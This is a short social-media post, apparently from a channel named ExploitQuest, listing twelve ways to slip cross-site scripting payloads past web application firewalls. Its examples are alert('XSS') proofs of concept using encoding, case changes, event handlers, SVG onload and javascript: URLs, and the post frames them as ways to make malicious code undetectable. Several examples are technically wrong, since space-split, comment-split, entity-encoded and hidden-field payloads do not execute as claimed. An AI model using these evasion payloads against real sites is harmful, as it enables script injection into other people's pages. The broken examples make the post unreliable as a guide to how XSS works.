ExploitQuest

Bypassing WAF (Web Application Firewall) in XSS (Cross-Site Scripting) attacks relies on exploiting various techniques and methods to bypass the protection put in place by the firewall. WAF is designed to intelligently inspect inputs and requests to detect potential attacks such as XSS, but there are several ways to bypass these mechanisms. Here are some techniques that may help in bypassing WAF in XSS attacks:

1.Encoding
Input encoding can be used to confuse WAF and prevent malicious payload detection.

Examples:

URL Encoding:

<script>alert('XSS')</script>

It can be encoded:

%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

HTML Entity Encoding:
Special characters can be converted to HTML encoding:

&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;

2.Using Comments

Some WAFs may ignore input if the code is split via comments.

Examples:

XSS using comments to split code:

<scr<!--comment-->ipt>alert('XSS')</scr<!--comment-->ipt>

3. Case Variation

WAF can be case sensitive. You can change the case to make the code undetectable.

Examples:

<ScRipT>alert('XSS')</sCrIpT>

4.Use Alternative Event Handlers

Events in HTML that may not be strictly checked by WAF, such as onfocus or onmouseover, can be exploited.

Example:

<img src="x" onerror="alert('XSS')">

May be replaced by:

<input onfocus="alert('XSS')">

5.Bypass WAF using Adding Padding Characters

You can add spaces or insignificant characters inside the malicious code to make it undetectable.

Examples:

<scr ipt>alert('XSS')</scr ipt>

6.Use eval(), setTimeout(), or setInterval()

Some WAFs scan for obvious code like alert() or document.write(). By using functions like eval() or setTimeout(), you can make malicious code less obvious.

Example:

<script>setTimeout(function(){alert('XSS')}, 100);</script>

7.JavaScript Coding Using String.fromCharCode

You can use the String.fromCharCode function to generate JavaScript code dynamically.

Example:

<script>alert(String.fromCharCode(88,83,83));</script>

This will print "XSS".

8.Using DOM-based XSS techniques

In some cases, WAF can be bypassed using techniques that rely on XSS in the DOM only, where the code is injected directly into the browser without having to send the request to the server.

Example:

var input = document.createElement('input');
input.setAttribute('onfocus', 'alert("XSS")');
document.body.appendChild(input);
input.focus();

9.Hiding code inside unexpected media

You can embed XSS code inside non-traditional HTML elements, such as SVG files or titles.

Example:

<svg onload="alert('XSS')"></svg>

10.Use complex conditional statements or mathematical functions

You can use conditional statements or mathematical operations to make malicious code less obvious to a WAF.

Example:

<script>if(1<2){alert('XSS')}</script>

11.Using JavaScript: In URL

You can try to insert JavaScript code inside a URL using the javascript: protocol.

Example:

<a href="javascript:alert('XSS')">Click me</a>

12. Exploiting weak or non-comprehensive filters

Some WAFs may not scan all input types or fields. You can try to inject malicious code in unexpected places such as hidden fields or metadata.

Example:

Injecting malicious code into an unexpected field:

<input type="hidden" value="<script>alert('XSS')</script>">

Conclusion:
Bypassing WAF in XSS attacks requires experimenting with different techniques and using innovative ways to make the malicious code undetectable. Protection from these attacks depends on constantly updating WAF mechanisms and following good security practices such as input filtering and output encoding.

#xss #waf

👍9❤5

1.85K viewsedited 00:25